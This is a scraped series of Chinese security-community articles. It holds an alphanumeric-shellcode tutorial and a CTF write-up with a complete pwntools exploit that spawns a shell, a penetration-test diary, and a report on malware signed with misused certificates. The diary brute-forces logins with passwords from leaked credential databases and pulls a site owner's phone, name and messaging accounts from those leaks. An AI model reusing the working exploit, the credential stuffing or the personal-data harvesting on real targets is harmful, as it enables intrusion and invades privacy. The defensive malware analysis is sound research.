Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 137 (iteration=0)
x86/alpha_mixed chosen with final size 137
Payload size: 137 bytes
unsigned char buf[] =
"x89xe0xdbxd6xd9x70xf4x5ax4ax4ax4ax4ax4ax4ax4a"
"x4ax4ax4ax4ax43x43x43x43x43x43x37x52x59x6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42"
"x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x50"
"x6ax66x6bx53x68x4fx69x62x72x73x56x42x48x46x4d"
"x53x53x4bx39x49x77x51x78x34x6fx44x33x52x48x45"
"x50x72x48x74x6fx50x62x33x59x72x4ex6cx49x38x63"
"x70x52x38x68x55x53x67x70x35x50x65x50x74x33x45"
"x38x35x50x50x57x72x73x6fx79x58x61x5ax6dx6fx70"
"x41x41";
可以发现，前几个字符x89xe0xdbxd6xd9x70xf4并不是Alphanumeric或者Printable，因为此shellcode的前面数条指令是为了让这段shellcode位置无关，完成了获取shellcode地址并放入通用寄存器中的功能。
然而，我们可以根据不同程序栈中的数据来自己完成将shellcode的地址放入指定的寄存器BufferRegister中的Alphanumeric
Instructions。例如，当BufferRegister为ECX寄存器时，可以通过如下命令生成Alphanumeric shellcode。
⚡ root@kali ⮀ ~ ⮀ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed BufferRegister=ECX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 129 (iteration=0)
x86/alpha_mixed chosen with final size 129
Payload size: 129 bytes
buf = ""
buf += "x49x49x49x49x49x49x49x49x49x49x49x49x49"
buf += "x49x49x49x49x37x51x5ax6ax41x58x50x30x41"
buf += "x30x41x6bx41x41x51x32x41x42x32x42x42x30"
buf += "x42x42x41x42x58x50x38x41x42x75x4ax49x71"
buf += "x7ax56x6bx32x78x6ax39x71x42x72x46x42x48"
buf += "x64x6dx63x53x6fx79x4ax47x73x58x34x6fx64"
buf += "x33x30x68x33x30x33x58x44x6fx42x42x72x49"
buf += "x30x6ex6fx79x48x63x76x32x38x68x67x73x37"
buf += "x70x67x70x57x70x43x43x63x58x33x30x62x77"
buf += "x76x33x6ex69x4dx31x38x4dx4bx30x41x41"
⚡ root@kali ⮀ ~ ⮀ python
Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> buf = ""
>>> buf += "x49x49x49x49x49x49x49x49x49x49x49x49x49"
>>> buf += "x49x49x49x49x37x51x5ax6ax41x58x50x30x41"
>>> buf += "x30x41x6bx41x41x51x32x41x42x32x42x42x30"
>>> buf += "x42x42x41x42x58x50x38x41x42x75x4ax49x71"
>>> buf += "x7ax56x6bx32x78x6ax39x71x42x72x46x42x48"
>>> buf += "x64x6dx63x53x6fx79x4ax47x73x58x34x6fx64"
>>> buf += "x33x30x68x33x30x33x58x44x6fx42x42x72x49"
>>> buf += "x30x6ex6fx79x48x63x76x32x38x68x67x73x37"
>>> buf += "x70x67x70x57x70x43x43x63x58x33x30x62x77"
>>> buf += "x76x33x6ex69x4dx31x38x4dx4bx30x41x41"
>>> buf
'IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIqzVk2xj9qBrFBHdmcSoyJGsX4od30h303XDoBBrI0noyHcv28hgs7pgpWpCCcX30bwv3niM18MK0AA'
测试生成的shellcode时会发生段错误。因为执行shellcode时ECX中的值并不是shellcode的地址。
gdb-peda$ p $eip
$3 = (void (*)()) 0x804a040 <shellcode>
gdb-peda$ p $ecx
$4 = 0x0
此时需手动将ecx的值设置为0x804a040，然后继续执行。
gdb-peda$ p $ecx
$4 = 0x0
gdb-peda$ set $ecx=0x804a040
gdb-peda$ c
Continuing.
process 14672 is executing new program: /bin/dash
[New process 14689]
process 14689 is executing new program: /bin/dash
$ ls
[New process 14690]
process 14690 is executing new program: /bin/ls
peda-session-ls.txt peda-session-shellcode.txt shellcode shellcode.c
**示例**
题目下载地址：
[https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr/ascii](https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr/ascii)
使用ida载入ELF文件查看伪代码。发现程序先分配了一块内存，然后向内存中写长度为499的数据(Printable)，在函数vuln中使用strcpy时未检测源字符串长度发生栈溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *ptr; // ebx@6
char v5; // [sp+4h] [bp-30h]@1
int base; // [sp+28h] [bp-Ch]@1
unsigned int offset; // [sp+2Ch] [bp-8h]@4
base = mmap(0x80000000, 4096, 7, 50, -1, 0);
if ( base != 0x80000000 )
{
puts("mmap failed. tell admin");
exit(1);
}
printf("Input text : ", v5);
offset = 0;
do
{
if ( offset > 399 )
break;
ptr = (_BYTE *)(base + offset);
*ptr = getchar();
++offset;
}
while ( is_ascii(*ptr) );
puts("triggering bug...");
return (int)vuln();
}
char *vuln()
{
char dest; // [sp+10h] [bp-A8h]@1
return strcpy(&dest, (const char *)0x80000000);
}
思路：
1.生成BufferRegister为EAX的shellcode
2.构造Alphanumeric Instructions设置寄存器EAX为shellcode的地址
3.将Printable shellcode写入mmap的内存中
4.构造ROP Chain跳入0x80000000
5.执行shellcode
**STEP1**
使用ldd查看程序并未加载动态库可以确定本程序是静态编译的。静态编译的程序通常有大量的ROP
Gadgets供我们使用，不过题目要求输入的字符为可打印字符，这就需要Gadgets的地址是Printable的。
gdb-peda$ info proc map
process 15655
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x80ed000 0xa5000 0x0 /home/user/pwn/pwnkr/ascii/ascii
0x80ed000 0x80ef000 0x2000 0xa5000 /home/user/pwn/pwnkr/ascii/ascii
0x80ef000 0x8113000 0x24000 0x0 [heap]
0x55555000 0x55557000 0x2000 0x0 [vvar]
0x55557000 0x55559000 0x2000 0x0 [vdso]
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
可以看出代码段中的地址0x080e均是不可打印字符，所以不能在代码段中搜索Gadgets。不过可以使用ulimit -s
unlimited将vDSO的基址固定来找vDSO中的Gadgets([mmap及linux地址空间随机化失效漏洞](http://weaponx.site/2017/03/13/mmap%E5%8F%8Alinux%E5%9C%B0%E5%9D%80%E7%A9%BA%E9%97%B4%E9%9A%8F%E6%9C%BA%E5%8C%96%E5%A4%B1%E6%95%88%E6%BC%8F%E6%B4%9E/))。
使用命令dump binary memory ./vDsodump 0x55557000
0x55559000将vDSO所在的内存空间dump出来，当程序执行到ret观察栈中的数据并寻找可用的数据。
gdb-peda$ stack 15
0000| 0xffffd63c --> 0x8048fcb (<main+189>:mov ebx,DWORD PTR [ebp-0x4])
0004| 0xffffd640 --> 0x80c562e ("triggering bug...")
0008| 0xffffd644 --> 0x1000
0012| 0xffffd648 --> 0x7
0016| 0xffffd64c --> 0x32 ('2')
0020| 0xffffd650 --> 0xffffffff
0024| 0xffffd654 --> 0x0
0028| 0xffffd658 --> 0xffffd704 --> 0xffffd839 ("/home/user/pwn/pwnkr/ascii/ascii")
0032| 0xffffd65c --> 0x1
0036| 0xffffd660 --> 0x80496e0 (<__libc_csu_fini>:push ebx)
0040| 0xffffd664 --> 0x0
0044| 0xffffd668 --> 0x80000000 --> 0xa31 ('1n')
0048| 0xffffd66c --> 0x2
0052| 0xffffd670 --> 0x0
0056| 0xffffd674 --> 0x0
明显看出pop3_ret + pop3_ret +
pop2_ret可以让程序跳入0x80000000执行shellcode。然后使用rp++在dump出的vDSO内存空间中搜索ROP
Gadgets。在offset中寻找Printable的Gadgets发现有pop3_ret(0x00000751)和pop2_ret(0x00000752)，这样就可以构造出跳入0x80000000的ROP
Chain。
**STEP2**
使用metasploit生成BufferRegister为EAX的shellcode，现在需要编写Printable
Instructions将EAX设置为shellcode起始的地址。opcode为Alphanumeric的指令如下表所示
r(register)代表寄存器，r8代表8位寄存器例如alah等
m(memory)代表内存
imm(immediate value)代表立即数
rel(relative address)代表相对地址
r/m(register or
memory)代表内存或寄存器，可参考[ModR/M与SIB编码](http://blog.sina.com.cn/s/blog_67b113a101011fl9.html)
在程序跳入shellcode中(0x80000000)时，各个寄存器的值如下。
gdb-peda$ info r
eax 0xffffd5900xffffd590
ecx 0x800000d00x800000d0
edx 0xffffd6600xffffd660
ebx 0x800000d70x800000d7
esp 0xffffd66c0xffffd66c
ebp 0xa6161610xa616161
esi 0x414141410x41414141
edi 0x414141410x41414141
eip 0x800000000x80000000
可以使用XOR AL, imm8清除EAX的低7bit，再用过DEC EAX/AX完成EAX的高位退位，多次重复后可以得到需要的地址（本实例仅需重复一次）。
# Alphanumeric
push ecx //Q
pop eax //X => eax = 0x800000d0
xor al,0x50 //4P => eax = 0x80000080
push eax //P
pop ecx //Y
dec ecx //I => ecx = 0x8000007f
push ecx //Q
pop eax //X
xor al,0x74 //4t => eax = 0x8000000b => shellcode begin = 0x80000000 + len(QX4PPYIQX4t)
得到的指令序列为QX4PPYIQX4t。但题目中并不要求Alphanumeric而是要求Printable，所以可以使用sub完成寄存器数据的修改。
>>> asm("sub eax,0x41")
'x83xe8A'
>>> asm("sub ebx,0x41")
'x83xebA'
>>> asm("sub ecx,0x41")
'x83xe9A'
>>> asm("sub edx,0x41")
'x83xeaA'
>>> asm("sub al,0x41")
',A'
>>> asm("sub bl,0x41")
'x80xebA'
>>> asm("sub cl,0x41")
'x80xe9A'
>>> asm("sub dl,0x41")
'x80xeaA'
能大段修改的寄存器只有EAX且范围为0x20-0x7e，可以分两步修改。最终使用的Shellcode头部为
# Printable
push ebx //S
pop eax //X => 0x800000d7
sub al, 0x7e //,~ => 0x80000059
sub al, 0x53 //,S => 0x80000006 => shellcode begin = 0x80000000 + len(SX,~,S)
和shellcode拼接起来就获得了最终的exploit
from pwn import *
pop3_ret = 0x00000751 # : pop ebx ; pop esi ; pop ebp ; ret ; (1 found)
pop2_ret = 0x00000752 # : pop esi ; pop ebp ; ret ; (1 found)
# 0x1f < c < 0x7f
vdso_base = 0x55557000
offset = 172
#payload = "SX,~,S" # push ebx;pop eax;sub al,0x7e;sub al,0x53
payload = "QX4PPYIQX4t"
payload += "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0"
payload += "A00ABAABTAAQ2AB2BB0BBXP8ACJJIS"
payload += "ZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS"
payload += "0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE"
payload += "22I2NFOSCRHEP0WQCK9KQ8MK0AA"
payload = payload.ljust(offset, "x41")
# ROP CHAIN
payload += p32(vdso_base + pop3_ret)
payload += p32(0x41414141)
payload += p32(0x41414141)
payload += p32(0x41414141)
payload += p32(vdso_base + pop3_ret)
payload += p32(0x41414141)
payload += p32(0x41414141)
payload += p32(0x41414141)
payload += p32(vdso_base + pop2_ret)
payload += p32(0x41414141)
payload += "aaa"
io = process("./ascii")
io.sendline(payload)
io.interactive()
**Refer**
<https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/>
<http://note.heron.me/2014/11/alphanumeric-shellcode-of-execbinsh.html>
<https://nets.ec/Alphanumeric_shellcode>
<https://nets.ec/Ascii_shellcode>
<http://www.vividmachines.com/shellcode/shellcode.html#ps>
<http://inaz2.hatenablog.com/entry/2014/07/11/004655>
<http://inaz2.hatenablog.com/entry/2014/07/12/000007>
<http://inaz2.hatenablog.com/entry/2014/07/13/025626>
<http://blog.sina.com.cn/s/blog_67b113a101011fl9.html>
[http://www.c-jump.com/CIS77/CPU/x86/X77_0080_mod_reg_r_m_byte_reg.htm](http://www.c-jump.com/CIS77/CPU/x86/X77_0080_mod_reg_r_m_byte_reg.htm) | 社区文章 |
由于不可抗因数，约定俗成目标域名为xxx.com;ip为xxx.xxx.xxx.118,文章写出来也就给大家图一乐呵，如有不对之处还望各位大佬指正。（已获得授权）
**1\. 信息收集**
网站名称：<https://xxx.com> IP：xxx.xxx.xxx.118
开放的端口信息：
22,25,21,80,53,110,143,443,465,587,995,993,2080,2086,2082,2079,2083,2077,2096,2087,2095,2078,2222,3306,46015。
使用Wappalyzer识别出来的信息如下图：
WordPress5.3.3emmm今年4月份更新的，不甘心的去exploit-db等网站瞅了瞅只能找到5.3.2版本的。
没办法用wpscan扫扫插件看看能发现什么。
查阅资料这是一个存放用户ip的数据库,另外还发现woocommerce插件，但没办法读取文件。
对网站目录进行下扫描
python3 dirsearch.py -u https://xxx.com/ -e *
获取到网站后台地址：<https://xxx.com/wp-login.php>
尝试输入admin/admin,root/root,wordpress/wordpress,通过错误提示确认两个账户名：admin，root之后可以尝试爆破。
通过一些其他页面获取到两个疑似管理员邮箱账户，以及cpanel面板
邮箱账户：[email protected]，[email protected]
cpanel面板：<https://xxx.com/controlpanel>
面板基本可以放弃，邮箱账户通过社工库获取到一些历史密码。
[email protected]查询社工库获取了一个疑似手机号的密码，进行识别确认了地理位置信息及所有者的名字，可惜通过支付宝爆破姓名暂时未爆破出来，通过手机联系人关联获取到了QQ和微信。
既然有邮箱账户和历史密码，我肯定希望登入进去看看，毕竟邮箱最容易泄露信息，也可以进去钓鱼（笑)，那现在就差邮箱登入地址。
根据开放的端口信息，我尝试访问了pop3.xxx.com,imp.xxx.comftp.xxx.com但都不行,最后灵机一动，通过对子域名进行扫描找到的邮箱入口：webmail.xxx.com
**2\. 脆弱点攻击**
2.1. 通过信息收集获得的账户密码,QQ,微信等信息生成特质的社工字典进行撞库，这里使用safe6大佬的字典生成工具。
对后台root账户进行密码爆破如下，应该是触发了安全策略。
对邮箱进行爆破同样未果，利用收集到的密码登入QQ和微信也没有成功，这就很尴尬了。
2.2. 后台登入处有注册和忘记密码功能，尝试在这里搞搞事情。
使用临时邮箱尝试注册：
点击进去直接给我弹回到登录框，没有密码无法登入emmmmm。
尝试忘记密码功能，看返回包能不能抓个验证码或者链接什么的，果然我又想多了
2.3. 之后找到了一处留言处，尝试xss攻击，但等了很久也没有收到cookie，也没能发现其他漏洞。
2.4.
按理说现在基本已经测试完了，但我这个人有个习惯，渗透先扫C段，这次渗透刚开始就Goby工具对整个C段进行信息收集。（虽然C段不一定是同一资产，但这次瞎猫碰上死耗子了）
在一个IP上扫到了mysql弱口令 admin/admin，登入上了数据库，通过访问80端口确认了是该目标资产，总算打开突破口，接下来就是提权一把梭了。
通过navicat连接数据库
WTF？这是什么鬼库，我手颤抖的查询下权限。
彳亍口 巴，认栽了，该IP80端口也找不到绝对路径，有心杀贼，可惜回天乏术了，该想想怎么不会被主管锤了，毕竟菜鸡的我已经一个多星期没交成果了，孩子太难了。 | 社区文章 |
# 风云再起，签名冒用引发信任危机
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期，360核心安全团队独家监测到“签名冒用”的新动向，颁发机构除了之前披露的Go Daddy和Starfield
Secure两家，知名的老牌CA厂商赛门铁克、Verisign和DigiCert也相继沦陷。而被冒名顶替的签名主体都是一些大家耳熟能详的公司，例如北京方正、中望CAD、数码大方、京东、恒生电子、IBM等等，被签名的程序也是五花八门，从捆绑木马的常用软件，到团伙之间互相对抗的模块（黑吃黑），再到如今诱导安装的钓鱼远控，几乎囊括了国内软件黑产链上的所有环节。它们赖以生存的护身法宝就是这些知名公司的数字签名，但是实际上这些被假冒签名的知名公司可能都毫不知情，名头太大反而无端躺枪，真假美猴王再次上演一波大型的信任危机。
## 事件回顾
下图是数字签名冒用的对抗史，360对此类攻击事件进行持续对抗并率先全面查杀。
对“签名冒用”这类攻击方式的历史事件进行回顾：
2016年8月份，360首次发现了冒用知名公司“美图”、“暴风影音”等数字签名的木马并发布了披露报告。
2016年9月份，360监测到更多知名的公司如“浙江翼信”、“可牛”等签名被用于签发大量诱导性木马在外传播。
2017年8月份，360持续监控和追踪冒用知名游戏公司“竞技世界”、“上海天游”等签名的私服程序通过大量的网站捆绑分发，用来劫持网络流量。
2018年7月份，360再次独家发现使用新颁发机构进行签名冒用的远控木马程序通过钓鱼网站进行传播。
## 数据统计
从历史攻击事件的回顾中可以看出，该类攻击从未停止并且在不断的变化升级。今年，数字签名冒用再度爆发，木马团伙为躲避监控特意更换了签名颁发机构。以下是360监测该类攻击样本的传播数量统计，累计总量已经上万，分别在2017年3月份和2018年3月份有两波较为明显的增幅。
从数字签名的维度上看，事件最开始是由Go
Daddy签发“美图”、“暴风”、“酷我”、“京东”等多家知名公司的数字证书，该颁发机构签发的“假”证书也是占比最大。后来发现知名颁发机构“赛门铁克”也开始出现冒用的签名，典型的有冒用“恒生电子”公司签发私服劫持程序。直到今年，再次发现美国老牌的CA机构“DigiCert”也开始沦陷，由签名冒用引发的信任危机再度爆发。
## 案例分析
以今年最新冒用签发的木马为例对本次事件进行分析。作案团伙传播木马的方式有很多，比如常见的有通过IM工具发送给受骗者诱导其运行，或者通过钓鱼网站来诱骗浏览者运行木马，本文以后者为例。
以下是木马作者精心制作的一个电子产品相关的信息网站首页，访问该页面后会直接弹出新建下载任务的提示。
考虑到上面的弹窗失败率可能会比较高，于是木马作者对该网站进一步改造，当访问者想要查看具体的产品信息页面时，故意在页面上不显示产品图片，反而弹出以下诱导信息：
如果此时还不上当，就再诱导一次用户直接弹出下载框，并且后续每点击一个产品页面都将重复运行以下代码：
既然最终的诱导都希望我们下载这个所谓的“图片显示驱动”程序，我们就来看看它的真面目吧。下载后发现该程序具有正常的数字签名，签名的主体是知名互联网公司“北京数码大方科技”（CAXA
Technology CO.,LTD.）。这里需要注意的是，此数字签名并非该公司的官方签名，而是冒用了该公司信息从其他颁发机构（“DigiCert
CA”）申请而来的，非常具有欺骗性。
分析下载的“图片显示驱动”程序，该样本实际上是个木马“下载者”程序，运行后将连接远程服务器下载木马模块。连接的服务器地址为“www.yiwotech.cn:443”：
接着程序将自身文件名和哈希值等信息加密后回传服务器，只有当服务器验证成功后才会返回木马模块的下载地址，进一步下载执行后，木马模块将在“C:\Windows\Appp”目录下释放并启动两个程序：ScLauncher.exe和TIM.EXE。这两个程序实际上是一组常见的“白利用”木马模块，ScLauncher.exe是正常的QQ官方启动程序，本身没有任何恶意代码；然而运行该程序后没有经过验证将直接启动同目录下的木马模块TIM.EXE，该模块会启动一个wextract.exe作为傀儡进程来运行远控木马，整个进程链启动关系如下所示：
在木马模块TIM.EXE启动傀儡进程wextract.exe时将远控木马模块从内存中dump出来进行分析，该模块是一个加了压缩壳的EXE可执行程序，调试运行后可以看到其直接连接远程控制服务器“tong.jinjingltsh.top:2018”：
最后进入接收指令的流程执行远程控制命令，包括常见的开启远程桌面、下载执行任意程序等功能，至此作案团伙可远程随意操控受害用户的电脑。
本次事件涉及3个知名公司签名，分别是冒用了“北京方正”、“中望CAD”和“数码大方”的信息，均是从新的颁发机构“DigiCert”申请的有效签名，主要用于签发大量的诱导性远控木马程序，少部分为游戏辅助程序和黑客工具等。
## 结语
签名冒用攻击出现以来，冒用签名数量不断的增多且攻击的目标不断变换。2016年通过冒用“暴风影音”开始签发木马，2017年主要以签发劫持类私服程序为主，直到2018年木马团伙又改变了颁发机构和数字签名，采用更加隐蔽的方式传播远控程序。被冒用的签名表面上都是正常有效的“大公司”签名，私下里正在被木马团伙用来签发任意的恶意程序和木马，成为突破当前安全防护体系的一道护身符，安全形势越发严峻，越来越多的用户和组织成为了被攻击的目标。木马团伙仍不断的发现和利用新的系统漏洞作为网络武器来谋取利益。对此，360已率先改善自身的防护体系，全面查杀此类病毒木马。同时也呼吁，相关的签名颁发机构加强审核机制
，避免此类事件再次发生。
## 附录
从2016年开始至今发现的已知被冒用的签名及对应的颁发机构列表如下：
## 参考
被攻陷的数字签名：木马作者冒用知名网络公司签名：<https://www.anquanke.com/post/id/84413>
冒用数字签名的对抗：亟需加强的签名审核：<http://www.freebuf.com/articles/paper/114502.html>
偷天换日：2017签名冒用大追踪：<https://www.anquanke.com/post/id/86665>
数字签名攻击报告：正在摧毁软件身份“信用体系”的安全危机：<http://www.freebuf.com/articles/network/146274.html> | 社区文章 |
Subsets and Splits